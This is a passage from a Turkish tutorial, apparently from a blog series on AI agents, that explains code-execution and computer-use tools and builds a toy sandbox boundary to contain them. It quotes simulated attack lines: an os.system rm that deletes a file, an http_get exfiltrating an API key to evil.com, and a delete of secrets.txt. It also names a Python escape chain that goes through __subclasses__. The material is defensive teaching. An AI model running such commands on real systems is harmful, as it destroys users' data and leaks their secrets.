2026-07-09

Kod Çalıştıran Araç

Ajanların yalnızca JSON tool çağırması değil, kod çalıştırması ve bir ekran üzerinde aksiyon alması gerekir, ve bu güç tehlikelidir. Bir sandbox permission boundary onu sınırlar. Bu oyuncak yalnızca açıklayıcıdır.

Neler öğreneceksin

Ajanın bu seride, ve ondan önceki RAG serisinde dokunduğu her tool aynı şekle sahipti: controller’ın doldurduğu ve bir server’ın çalıştırdığı bir tipli JSON fonksiyonu. search_policy({"query": ...}), process_refund({"order_id": ..., "amount": ...}), Part 6’daki memory tool’ları, Part 12’de hat üzerinden keşfedilen MCP tool’ları. Bunlar dar anahtar deliklerdir: her biri tam olarak önceden deklare edilmiş tek bir şey yapar, ve ajanın tüm gücü, birisinin onun için önceden açtığı deliklerin kümesidir. Bu gerçek bir sınırdır, çünkü pek çok görev hiçbir sabit fonksiyona uymaz. “Bu üç order üzerinden ortalama order değerini hesapla”, birisi bir average_order_value tool’u yazmadıkça hiçbir tool’a sahip değildir; “bu raporu oku, dönüştür, sonucu yaz” tek bir call değil, küçük bir programdır. Dolayısıyla bu parça ajana serinin görmezden geldiği iki yeni tool sınıfı verir, ve bunlar 2026’nın baskın ajan modalitesidir. İlki code execution: ajan bir fonksiyon çağırmaz, bir program yazıp çalıştırır, hiçbir sabit tool’un kapsamadığı şeyleri hesaplar. İkincisi computer-use: ajan bir insanın yapacağı gibi bir yüzey üzerinde aksiyon alır, dosya okur ve yazar, bir sayfa fetch eder, bir arayüz işletir. Her ikisini de eklediğin an, capability ve tehlike birlikte gelir. Kod çalıştırabilen bir ajan, bir secrets dosyasını okuyabilir, verini silebilir ya da onu bir saldırgana POST edebilir. Cevap kodu yasaklamak değildir; onu bir sandbox / permission boundary arkasında çalıştırmaktır, ve bu boundary zaten sahip olduğumuz parçalardan kurulur: bir action allowlist, bir resource budget, no-network isolation ve idempotent yazmalar. Ve sonra, parçadaki her şeyden daha çok önemli olduğu için burada tekrarlanan gür, pazarlık edilemez bir uyarı: inşa ettiğimiz oyuncak sandbox açıklayıcıdır, gerçek bir security boundary değildir. In-process Python sandboxing’i meşhur biçimde sağlam değildir. Gerçek bir sandbox, OS-level isolation’dır. Anlaman için boundary’nin şeklini inşa ediyoruz, ve şeklin nerede güvenli olmaktan çıktığını açıkça söylüyoruz.

Ön koşullar

Temel Python lazım: bir fonksiyon, bir liste, bir dictionary, bir string kontrolü. Hepsi bu. Daha önceki üç parça yardımcı olur ama gerekli değildir. Part 2 bize bir tool taksonomisi ve side-effect üreten tool’ları dikkatle ele alma disiplinini verdi, ki code execution ve computer-use tam olarak budur. Part 8 bize BudgetMeter’ı verdi, ve sandbox onu yeniden inşa etmek yerine bir resource cap olarak yeniden kullanır. Part 9 bize idempotency key’lerini verdi, ve sandbox onları yeniden kullanır, böylece tekrar denenen bir dosya yazması iki kez aksiyon almaz. Ama yazı kendi içinde bütünlüklü: daha önceki bir fikre yaslandığı yerde onu tek bir cümleyle yeniden ifade eder ve budget meter’ı ya da idempotency key’ini yeniden türetmez, onlara referans verir. Eşlik eden kod, sandboxed_code_tool.py, API anahtarı, ağ ve bağımlılık olmadan offline çalışır, böylece her satırı okuyup bu yazıdaki her çıktı satırını kendiniz yeniden üretebilirsiniz. Varsayılan code-execution backend’i deterministic bir AST-allowlist interpreter’dır (offline); gerçek bir hosted LLM kodu yazıyor ve gerçek bir OS-sandbox backend’i, her biri tek bir flag uzaklıktadır. Kritik olarak, tehlikeli operasyonlar asla gerçekten çalıştırılmaz: unsafe path’teki “hasar” simüle edilmiştir (mock dict mutasyonları, yazdırılan exfiltration), böylece gerçekten hiçbir şey çalışmadan sonucu görebilirsin.

Tipli-tool dünyasından beri yeni olan ne

Neyin yeni olduğu konusunda kesin olmak istiyorum, çünkü bu gerçekten yeni bir zemin, tipli-tool dünyasının rafine edilmiş hâli değil. RAG serisindeki her tool read-only’ydi: bir index’te ara, bir passage fetch et, rerank et. Bir RAG tool’unun yapabileceği en kötü şey yanlış dokümanı döndürmekti. Agents serisi side-effect üreten tool’lar ekledi (bir refund), ama bunlar hâlâ sabit bir argüman şemasına sahip, fire etmeden önce doğrulanan dar, önceden deklare edilmiş JSON fonksiyonlarıydı. Code execution ve computer-use bu kalıbı kırar. Code execution, ajanın aksiyonunun N fonksiyondan birine yapılan bir call değil keyfi bir program olması demektir, dolayısıyla aksiyon uzayı artık önceden numaralandırılabilir değildir. Computer-use, ajanın genel bir yüzey üzerinde aksiyon alması demektir, bir filesystem, bir browser, bir desktop, ki dokunabileceği şeylerin kümesi o yüzeydeki her şeydir, küratörlüğü yapılmış bir liste değil. Bu 2026’nın merkezi ajan modalitesidir, ve RAG’de tamamen yoktur, çünkü read-only retrieval ona hiç ihtiyaç duymadı. Yeni güçle birlikte serinin karşılaşmadığı yeni bir başarısızlık sınıfı gelir: “tool kötü bir cevap döndürdü” değil, “ajan gerçek, geri alınamaz hasar verdi”. Dolayısıyla buradaki net-yeni makine sandbox / permission boundary’dir: ajanın kod yazıp çalıştırmasına ve bir yüzey işletmesine izin verirken o kodun ve o operasyonların neye dokunabileceğini sınırlayan katman. Ve boundary icat edilmez, monte edilir: Part 8’in budget’ını bir resource cap olarak ve Part 9’un idempotency key’lerini güvenli retry’lar için yeniden kullanır. Yeni olan, iki tool sınıfı ve onları sınırlayan boundary’dir.

İki yeni tool sınıfı

İki sınıfı legitimate biçimde kullanılırken, gerçekten isteyeceğin şekilde, ele alarak başla. İlki yaz-ve-çalıştır kod. Görev, üç order üzerinden ortalama order değerini hesaplamak, [250.0, 180.0, 90.0]. Bir average_order_value tool’u yok ve olmamalı; ajan basitçe ifadeyi yazar ve sandbox onu çalıştırır. İkincisi computer-use: ajan bir yüzeyden bir dosya okur, özetlemesi istenen raporu. İşte ikisi de, artefaktın gerçek çıktısından alıntılanmış:

    code (avg order value): 'round(sum(orders) / len(orders), 2)' -> 173.33
    computer-use (read): read_file({'path': 'report.txt'}) -> Q2 refunds summary

Her birinin ne olduğunu oku. Code tool’u round(sum(orders) / len(orders), 2) string’ini aldı, orders’ı tutan bir namespace’e karşı onu değerlendirdi ve 173.33 döndürdü: gerçek bir hesaplama, küçük bir program olarak ifade edilmiş, ki hiçbir sabit JSON tool’u onu kapsamadı. Computer-use tool’u read_file structured command’ını {'path': 'report.txt'} ile çalıştırdı ve dosyanın içeriğini, Q2 refunds summary, geri aldı: bir yüzey üzerinde bir aksiyon, önceden deklare edilmiş bir fonksiyon çağırmak yerine gerçek bir dosya okumak. İkisi de tipli-anahtar-deliği modeline uymaz. Code tool’unun “argümanı” bir programdır; computer-use tool’unun erişimi bir filesystem’dir. Bu sınıfları 2026 varsayılanı yapan güç tam olarak budur: ajan birisinin açtığı deliklerle sınırlı olmaktan çıkar ve açıkta hesaplayıp aksiyon alabilir hâle gelir. Ve yanlış yöne çevrildiğinde hasar veren güç tam olarak budur.

A diagram contrasting three tool shapes. On the left, under a heading typed JSON function, the old keyhole, a narrow box labelled process_refund with a fixed schema order_id string and amount number, drawn as a small keyhole that does one predeclared thing. A divider separates it from two new classes on the right. The first new class, labelled code execution, write and run a program, shows the agent emitting the program text round open paren sum open paren orders close paren slash len open paren orders close paren comma 2 close paren, an arrow into a run box, and the result 173.33, with a note an arbitrary computation, no fixed tool. The second new class, labelled computer-use, act on a surface, shows the agent issuing the command read_file with path report.txt, an arrow onto a filesystem surface, and the returned contents Q2 refunds summary, with a note reaches a surface, not a curated function. A caption strip reads: typed tools are narrow keyholes, code execution and computer-use are the 2026 default, their action space is a program and a surface.
Fig 1 The two new tool classes, contrasted with the typed-keyhole tools from the rest of the series. On the left, the old shape: a typed JSON function like process_refund with a fixed argument schema, order_id a string and amount a number, a narrow keyhole that does one predeclared thing. On the right, the two new classes. Code execution: the agent writes a program, round of sum of orders over len of orders rounded to 2, and the sandbox runs it, returning 173.33, an arbitrary computation no fixed tool covered. Computer-use: the agent acts on a surface, issuing read_file with path report.txt and getting back the file contents Q2 refunds summary, reaching a filesystem rather than calling a curated function. The figure shows that these two classes are the dominant 2026 agent modality and are absent from the read-only RAG world, because their action space is a program and a surface rather than an enumerable list of typed calls.

Güç ve tehlike birlikte gelir

Şimdi aynı gücü yanlış yöne çevir, hiçbir boundary yokken. Bu unsafe path’tir, ve trace’ten önce bir şey söylenmelidir: hasar simüle edilmiştir. Eşlik eden kod, untrusted programı asla gerçekten çalıştırmaz ve asla gerçek bir ağ call’u yapmaz. Tehlikeli niyeti tespit eder ve sonucu yazdırır, bir mock filesystem dictionary’sini mutasyona uğratır, böylece gerçekten hiçbir şey olmadan ne olacağını tam olarak görebilirsin. Bu anlaşıldıktan sonra, işte korumasız koşu, artefaktın gerçek çıktısından alıntılanmış:

    unsafe code: "__import__('os').system('rm report.txt')" -> [SIMULATED damage] arbitrary code ran; report.txt deleted
    unsafe exfil: http_get({'url': 'https://evil.com/x', 'body': 'API_KEY=sk-live-9f3a2b'}) -> [SIMULATED exfiltration] sent 'API_KEY=sk-live-9f3a2b' to https://evil.com/x
    unsafe delete: delete_file({'path': 'secrets.txt'}) -> [SIMULATED damage] deleted secrets.txt
    filesystem after the unsafe run: []  (report.txt and secrets.txt are gone)

Her satırı, temsil ettiği felaket olarak oku. İlki kanonik saldırıdır: ajanın “kod”u __import__('os').system('rm report.txt'), ki OS modülünü import eder ve bir dosyayı silmek için shell’e çıkar. Hiçbir boundary olmadan, keyfi kod çalıştı ve report.txt gitti. İkincisi exfiltration’dır: https://evil.com/x’e, filesystem’den çekilmiş canlı görünümlü bir secret olan API_KEY=sk-live-9f3a2b body’sini taşıyan bir http_get, bir saldırganın host’una gönderiliyor. Üçüncüsü computer-use yüzeyi üzerinden yıkımdır: secrets.txt üzerinde delete_file, ve o da gitti. Son satır makbuzdur: filesystem after the unsafe run: [], boş bir filesystem, hem rapor hem secrets dosyası yok edilmiş. Bir kez daha tamamen açık olmak gerekirse: bunların hiçbiri gerçekten çalıştırılmadı. Diskinde hiçbir dosya silinmedi, makinenden hiçbir request çıkmadı; kod tehlikeli şekli tanıdı ve sonucu simüle etti, böylece tehlike okunaklı olsun. Ama ders gerçektir. Hiçbir permission boundary’si olmayan bir code-execution ya da computer-use tool’u tam olarak bu kadar tehlikelidir, ve kararlı ya da ele geçirilmiş bir prompt tam olarak bu hamlelere uzanır: secret’ı oku, veriyi sil, onu gönder.

Sandbox boundary

Çözüm, aynı operasyonları dört kontrolden monte edilmiş bir permission boundary arkasında çalıştırmaktır. İlki, bir action allowlist. Kod için bu bir AST allowlist’tir: interpreter, programı bir syntax tree’ye parse eder, her node’u dolaşır ve yalnızca küçük bir güvenli node tipi kümesine (aritmetik, sabitler, isimler, listeler) ve birkaç güvenli fonksiyon call’una (sum, len, min, max, round, abs) izin verir. Başka her şey, bir import, bir attribute access, bilinmeyen bir call, değerlendirmeden önce reddedilir. Command’lar için, düz bir command allowlist’tir: yalnızca read_file ve write_file’a izin verilir; delete_file ve http_get listede değildir. İkincisi, bir resource cap, ki bu Part 8’in BudgetMeter’ının değiştirilmeden yeniden kullanımıdır, ajanın kaç operasyon çalıştırabileceğini sınırlar. Üçüncüsü, no-network isolation: erişilebilir hiçbir external host yoktur, dolayısıyla izinli görünen bir fetch bile hiçbir şeyi exfiltrate edemez. Dördüncüsü, idempotent yazmalar, ki bunlar Part 9’un key’lerinin yeniden kullanımıdır, böylece tekrar denenen bir write_file iki kez aksiyon almaz. Şimdi unsafe path’teki tam aynı saldırıları bu boundary’ye karşı çalıştır, artefaktın gerçek çıktısından alıntılanmış:

    sandboxed code: "__import__('os').system('rm report.txt')" -> BLOCKED: disallowed function call
    sandboxed read attempt: "open('secrets.txt').read()" -> BLOCKED: disallowed function call
    sandboxed delete: delete_file({'path': 'secrets.txt'}) -> BLOCKED: command 'delete_file' not on the allowlist
    sandboxed exfil: http_get({'url': 'https://evil.com/x', 'body': 'secrets'}) -> BLOCKED: command 'http_get' not on the allowlist

Boundary’nin her hamleyi yakalayışını oku. __import__('os').system(...) saldırısı BLOCKED: disallowed function call’tur, çünkü __import__ allowlist’teki altı call’dan biri değildir ve AST dolaşması, hiçbir şey değerlendirilmeden önce onu reddeder. Secrets dosyasını doğrudan okumayı denemek, open('secrets.txt').read(), aynı nedenle BLOCKED: disallowed function call’tur: open allowlist’te değildir. delete_file command’ı BLOCKED: command 'delete_file' not on the allowlist’tir, ve http_get BLOCKED: command 'http_get' not on the allowlist’tir, ikisi de çalışabilmeden önce command allowlist tarafından reddedilir, dolayısıyla exfiltration, arkasındaki no-network kontrolüne bile ulaşmaz. Hiçbir boundary olmadan başaran her saldırı durdurulur. Ama her şeyi bloklayan bir boundary işe yaramazdır; mesele şu ki legitimate iş hâlâ geçer:

    ...and legitimate work still passes the boundary:
    sandboxed write: write_file({'path': 'out.txt', 'text': 'ok'}) -> wrote out.txt
    sandboxed write (retry): write_file({'path': 'out.txt', 'text': 'ok'}) -> wrote out.txt (idempotent: already done)
    filesystem after the sandboxed run: ['out.txt', 'report.txt', 'secrets.txt']  (secrets.txt and report.txt intact)

İlk write_file command allowlist’tedir, budget altındadır ve yüzeyin içindedir, dolayısıyla geçer: wrote out.txt. Retry, aynı yazma tekrar, wrote out.txt (idempotent: already done) döner: Part 9’un idempotency key’i tekrarı tanıdı ve iki kez yazmadı, ki bu tam olarak bir step bir crash ya da timeout’tan sonra tekrar denendiğinde istediğin garantidir. Ve son makbuz, unsafe koşunun tersidir: filesystem after the sandboxed run: ['out.txt', 'report.txt', 'secrets.txt']. Yeni dosya yazıldı, ve report.txt ile secrets.txt’nin ikisi de bozulmadan duruyor. Aynı operasyonlar, aynı saldırılar, ama boundary, yok edilmiş bir filesystem’i, gerçek işin geçmesine izin verirken korunmuş bir filesystem’e çevirdi. Aşağıdaki interaktif figür, her iki path’i yan yana çalıştırmanı ve her saldırının hiçbir boundary olmadan başardığını ve sandbox tarafından bloklandığını izlemeni sağlar.

A diagram with two columns separated by a vertical boundary wall. The left column, headed NO BOUNDARY, shows three attacks reaching a filesystem unimpeded: os.system rm report.txt deleting the report, http_get sending API_KEY sk-live-9f3a2b to evil.com, and delete_file removing secrets.txt, ending in an empty filesystem box labelled both files gone. The right column, headed SANDBOX BOUNDARY, shows the same attacks hitting a wall built of four labelled bricks: action allowlist, an AST allowlist of safe nodes and the calls sum len min max round abs plus a command allowlist of read_file and write_file only; resource cap, Part 8 BudgetMeter; no-network isolation, no external host reachable; and idempotent writes, Part 9 keys. Each attack bounces off with a label, disallowed function call for the import os.system and the open secrets.txt, command not on the allowlist for delete_file and http_get. Below the wall, legitimate work passes through: write_file out.txt succeeds, the retry is marked idempotent already done, and a filesystem box lists out.txt, report.txt, secrets.txt, labelled protected files intact. A prominent banner across the top reads ILLUSTRATIVE ONLY, in-process sandboxing is unsound, a real sandbox is OS-level, gVisor, Firecracker, containers.
Fig 2 The sandbox permission boundary and its four controls, contrasted with the no-boundary run. ILLUSTRATIVE ONLY, not a real security boundary: this in-process AST allowlist is a model of the SHAPE of a boundary, and in-process Python sandboxing is unsound, determined code escapes it. A real sandbox is OS-level isolation, gVisor or Firecracker microVMs or hardened containers, kernel-enforced. The four controls shown: an action allowlist, an AST allowlist of safe node types and the calls sum len min max round abs for code, plus a command allowlist of read_file and write_file only; a resource cap reusing Part 8's BudgetMeter; no-network isolation so no external host is reachable; and idempotent writes reusing Part 9's keys. With no boundary the attacks land (the damage SIMULATED, never really executed), the os.system rm deletes report.txt, the http_get exfiltrates the API key to evil.com, delete_file destroys secrets.txt, leaving an empty filesystem. Through the boundary the same attacks are blocked, disallowed function call for the code, command not on the allowlist for delete_file and http_get, while legitimate work passes, write_file out.txt succeeds and its retry is idempotent, and report.txt and secrets.txt stay intact.

Open figure ↗

Fig 3 The unsafe path and the sandboxed path, interactive, running the same dangerous operations two ways. Step through both. On the no-boundary path the attacks land as simulated damage: the code __import__ os system rm report.txt prints arbitrary code ran, report.txt deleted; http_get sends API_KEY sk-live-9f3a2b to evil.com as simulated exfiltration; delete_file deletes secrets.txt; and the filesystem ends empty. On the sandboxed path the same attacks are blocked by the four controls: the os.system code is blocked as a disallowed function call by the AST allowlist, open secrets.txt is blocked the same way, delete_file and http_get are blocked because they are not on the command allowlist, and the no-network isolation means evil.com is unreachable anyway. Legitimate work still passes: write_file out.txt writes out.txt, the identical retry returns idempotent already done via Part 9's key, and the filesystem ends with out.txt, report.txt, and secrets.txt all intact. The figure is explicit that the damage is simulated and never really executed, and that this in-process sandbox is illustrative only, a real boundary is OS-level isolation.

Bu sandbox bir oyuncak

Bunun parçanın geri kalanı kadar gür söylenmesi gerekir, çünkü birisi onu kaçırırsa zarar görmesi en olası kısım budur: az önce inşa ettiğimiz sandbox bir oyuncaktır. Bir permission boundary’nin şeklinin bir modelidir, kontrollerin ne olduğunu ve nasıl bir araya geldiğini anlamak için faydalıdır, ve gerçek bir security boundary değildir. In-process Python “sandboxing”i, AST allowlist’ler, soyulmuş __builtins__, tehlikeli token’ların blocklist’leri, meşhur ve kanıtlanabilir biçimde sağlam değildir. Python object modeli, aynı interpreter’ın içinden çitle çevrilemeyecek kadar zengindir: masum görünen bir object’ten __class__, __bases__, __subclasses__ üzerinden yürüyüp os ya da subprocess’e geri inen iyi bilinen escape zincirleri vardır, ve her blocklist, birisinin düşündüğü escape’lerin bir listesidir, kimsenin düşünmediği yalnızca bir taneye ihtiyaç duyan bir saldırgana karşı. Bu parçadaki AST allowlist’i okuyup, untrusted kodu kendi process’inde güvenle çalıştırabileceğin sonucuna varma. Varamazsın. Gerçek bir sandbox, OS-level isolation’dır, ki untrusted kod, dil runtime’ı değil kernel’in dayattığı ayrı bir jail’de çalışır: gVisor (syscall’ları yakalayan bir user-space kernel), Firecracker microVM’ler (hafif hardware-virtualized VM’ler, birçok serverless ve ajan platformunda kodu çalıştıran şey), ya da seccomp, düşürülmüş capability’ler, read-only mount’lar ve ağ olmadan hardened container’lar. İnşa ettiğimiz dört kontrol, allowlist, resource cap, no-network, idempotency, OS-level isolation’ın üstünde hâlâ iyi fikirlerdir; defense in depth ikisini de ister. Ama isolation’ın kendisi, bir syntax-tree dolaşmasından değil kernel’den gelmek zorundadır. Figürlerdeki her şeyi bir boundary’nin kelime dağarcığı olarak ele al, her kontrolün ne işe yaradığını öğren, ve sonra code-execution tool’unu bir microVM’in içine koy. Bunu Part 16’da tekrar ele alıyoruz, ki orada boundary tam bir agentic-security pipeline’ına dönüşür.

💡 Deneyimden. Bunu utandırıcı yoldan öğrendim: bir keresinde bu parçadakine neredeyse tam olarak benzeyen bir AST allowlist tarafından korunan bir code-execution tool’u gönderdim, import’ları ve attribute access’i reddedip yalnızca bir avuç math call’una izin verirsem untrusted input’un bana zarar veremeyeceğine ikna olmuştum. Review’da bariz saldırılara karşı gayet iyi dayandı. Sonra bir meslektaşım, yaklaşık on dakikada ve tamamen iyi niyetle, import kelimesini ya da noktalı bir ismi hiç kullanmayan ve yine de object graph’ı bir literal’den __subclasses__ üzerinden bir process spawn edebilen bir class’a kadar yürüyen bir ifadeyi elime tutuşturdu. Blocklist’imde olan hiçbir şey onda görünmüyordu. O gün in-process sandboxing bir boundary değildir diye içselleştirdim, o bir kasis, ve kararlı bir saldırgan üzerinden geçer. AST sandbox’ı tek savunma olmaktan söküp aldık ve code execution’ı bir Firecracker microVM’e taşıdık, koşu başına bir ephemeral VM, ağ yok, read-only bir base image, sonradan tümüyle yıkılan, allowlist ve budget’ı jail’in kendisi olarak değil jail’in içinde ucuz bir ilk filtre olarak tutarak. Yakın atlatma bize hiçbir şeye mal olmadı çünkü bir meslektaştı; ders şu ki gerçek boundary’nin kernel-enforced ve OS-level olması gerekir, ve in-process yaptığın her şey bunun üstünde defense in depth’tir, asla güvendiğin şey değil. Bu parçadan bir cümle hatırlayacaksan, onu hatırla.

Özet / Çıkarımlar

  • Serideki şu ana kadarki her tool bir tipli JSON fonksiyonuydu, önceden deklare edilmiş tek bir şey yapan dar bir anahtar deliği. İki yeni tool sınıfı bu kalıbı kırar ve 2026’nın baskın modalitesidir: code execution (ajan bir program yazıp çalıştırır, aksiyon uzayı artık numaralandırılabilir değildir) ve computer-use (ajan bir filesystem ya da browser gibi bir yüzey üzerinde aksiyon alır, erişimi o yüzeydeki her şeydir).
  • Legitimate biçimde kullanıldığında, code tool’u round(sum(orders) / len(orders), 2) -> 173.33’ü hesapladı, hiçbir sabit tool’un kapsamadığı bir hesaplama, ve computer-use tool’u read_file({'path': 'report.txt'}) -> Q2 refunds summary’yi çalıştırdı, gerçek bir yüzey üzerinde bir aksiyon. İkisi de tipli-anahtar-deliği modeline uymaz.
  • Capability ve tehlike birlikte gelir. Hiçbir boundary olmadan (hasar simüle edilmiş, asla gerçekten çalıştırılmamış), __import__('os').system('rm report.txt') raporu sildi, http_get API_KEY=sk-live-9f3a2b’yi evil.com’a exfiltrate etti, ve delete_file secrets.txt’yi yok etti, filesystem after the unsafe run: [] bırakarak.
  • Çözüm, dört kontrollü bir sandbox / permission boundary’dir: bir action allowlist (kod için güvenli node’ların ve sum len min max round abs call’larının bir AST allowlist’i, artı yalnızca read_file ve write_file’ın bir command allowlist’i), Part 8’in BudgetMeter’ını yeniden kullanan bir resource cap, no-network isolation, ve Part 9’un key’lerini yeniden kullanan idempotent yazmalar.
  • Boundary, hiçbir boundary olmadan başaran her saldırıyı bloketti: kod saldırıları BLOCKED: disallowed function call’tu, ve delete_file ile http_get BLOCKED: command ... not on the allowlist’ti. Legitimate iş hâlâ geçti, wrote out.txt, retry wrote out.txt (idempotent: already done), ve report.txt ile secrets.txt bozulmadan kaldı.
  • Bu oyuncak sandbox açıklayıcıdır, gerçek bir security boundary değildir. In-process Python sandboxing’i (AST allowlist’ler, soyulmuş builtins) sağlam değildir; kararlı kod ondan kaçar. Gerçek bir sandbox, OS-level isolation’dır, gVisor, Firecracker microVM’ler ya da hardened container’lar, kernel-enforced. Dört kontrol, o isolation’ın üstünde iyi defense in depth’tir, asla onun yerine geçmez.

Sözlük

  • Code-execution tool: ajanın aksiyonunun N önceden deklare edilmiş fonksiyondan birine yapılan bir call değil, kendi yazdığı keyfi bir program olduğu bir tool sınıfı, böylece hiçbir sabit tool’un kapsamadığı şeyleri hesaplayabilir (burada, round(sum(orders) / len(orders), 2) -> 173.33). Aksiyon uzayı önceden numaralandırılabilir değildir, ki bu hem gücünün hem tehlikesinin kaynağıdır.
  • Computer-use: ajanın küratörlüğü yapılmış bir fonksiyon çağırmak yerine, bir insanın yapacağı gibi genel bir yüzey, bir filesystem, bir browser, bir desktop, üzerinde aksiyon aldığı bir tool sınıfı. Burada bir mock filesystem üzerinde read_file ve write_file gibi structured command’lar çalıştırır. Erişimi, sabit bir liste değil tüm yüzeydir.
  • Sandbox / permission boundary: ajanın kod çalıştırmasına ve bir yüzey işletmesine izin verirken neye dokunabileceğini sınırlayan katman. Bu parçada dört kontrolden monte edilir (action allowlist, resource cap, no-network isolation, idempotent yazmalar). Hiçbir boundary olmadan filesystem’i yok eden aynı saldırılar onun üzerinden bloklanır.
  • Action allowlist (AST allowlist): yalnızca açıkça listelenmiş operasyonlara izin veren kontrol. Kod için bir AST allowlist’tir: program bir syntax tree’ye parse edilir, her node dolaşılır, ve yalnızca güvenli node tiplerine ve birkaç güvenli call’a (sum, len, min, max, round, abs) izin verilir, başka her şey değerlendirmeden önce reddedilir. Command’lar için düz bir listedir (yalnızca read_file, write_file). Gerçek ama, in-process, sağlam değil.
  • No-network isolation: hiçbir external host’u erişilebilir kılmayan kontrol, böylece izinli görünen bir fetch bile private veriyi exfiltrate edemez. Burada izinli host sayısı sıfırdır, dolayısıyla evil.com’a yapılan http_get, command allowlist onu geçirse bile ayrılamaz.
  • Resource cap (BudgetMeter): Part 8’in BudgetMeter’ı, ajanın boundary içinde kaç operasyon çalıştırabileceğini sınırlamak için değiştirilmeden yeniden kullanılır, böylece her bireysel operasyon izinli olsa bile sandboxed bir koşu kaynakları tüketemez.
  • Idempotent side effect’ler: Part 9’un idempotency key’leri, tekrar denenen bir yazma iki kez aksiyon almasın diye yeniden kullanılır. Aynı write_file, iki kez yazmak yerine wrote out.txt (idempotent: already done) döner, bir step bir crash ya da timeout’tan sonra tekrar denendiğinde ihtiyaç duyduğun garanti.
  • OS-level isolation (gVisor / Firecracker / container’lar): gerçek bir sandbox, ki untrusted kod, dil runtime’ı değil kernel’in dayattığı ayrı bir jail’de çalışır. gVisor syscall’ları yakalayan bir user-space kernel’dir; Firecracker hafif hardware-virtualized microVM’ler çalıştırır; hardened container’lar seccomp, düşürülmüş capability’ler, read-only mount’lar ve ağsızlık ekler. Production’ın kullandığı budur; bu parçadaki in-process allowlist yalnızca açıklayıcıdır.

Bu parçanın kuralı: ajanın hiçbir sabit tool’un kapsamadığı bir şeyi hesaplaması ya da gerçek bir yüzey üzerinde aksiyon alması gerektiğinde, ona code execution ve computer-use ver, ama onları asla bir permission boundary olmadan verme, çünkü gerçek iş yapan aynı güç gerçek hasar verir. Boundary’yi zaten sahip olduğun parçalardan inşa et, bir action allowlist (kod için bir AST allowlist, aksiyonlar için bir command allowlist), bir resource cap (Part 8’in BudgetMeter’ı), no-network isolation, ve idempotent yazmalar (Part 9’un key’leri), ve onu aynı tehlikeli operasyonları iki şekilde çalıştırarak doğrula: hiçbir boundary olmadan başaran her saldırı onun üzerinden bloklanmalı, legitimate iş ise hâlâ geçmeli. Ve en gür dersi sağlam taşı: bu parçadaki in-process sandbox açıklayıcıdır, gerçek bir boundary değildir; gerçek olan OS-level isolation’dır (gVisor, Firecracker microVM’ler, hardened container’lar), kernel-enforced, bu kontroller onun üstünde defense in depth olarak. Ama Part 1’den beri tutan varsayıma dikkat et: tam olarak bir ajan oldu, bir controller, bir context window, problemi tek başına çalışan. Bazı görevler bir ajana uymaz. İş geniş olduğunda, “bu kırk dosyanın hepsini denetle”, “altı bağımsız alt konuyu aynı anda araştır”, tek bir context window’lu tek bir ajan onu depth-first yapmak zorundadır, bir öğeyi diğerinin ardından, ve context her birinin enkazıyla dolar. Part 14, The Supervisor and the Handoff, ajana başka ajanları spawn etme ve koordine etme yeteneğini verir, alt görevleri kendi temiz context window’larıyla paralel çalışan worker’lara devreden bir supervisor, ve multi-agent’ın ne zaman yardım ettiği ve ne zaman yalnızca işlerin ters gitme yollarını çoğalttığı konusunda dürüsttür.

AgentsCode ExecutionComputer UseSandboxSecurityAI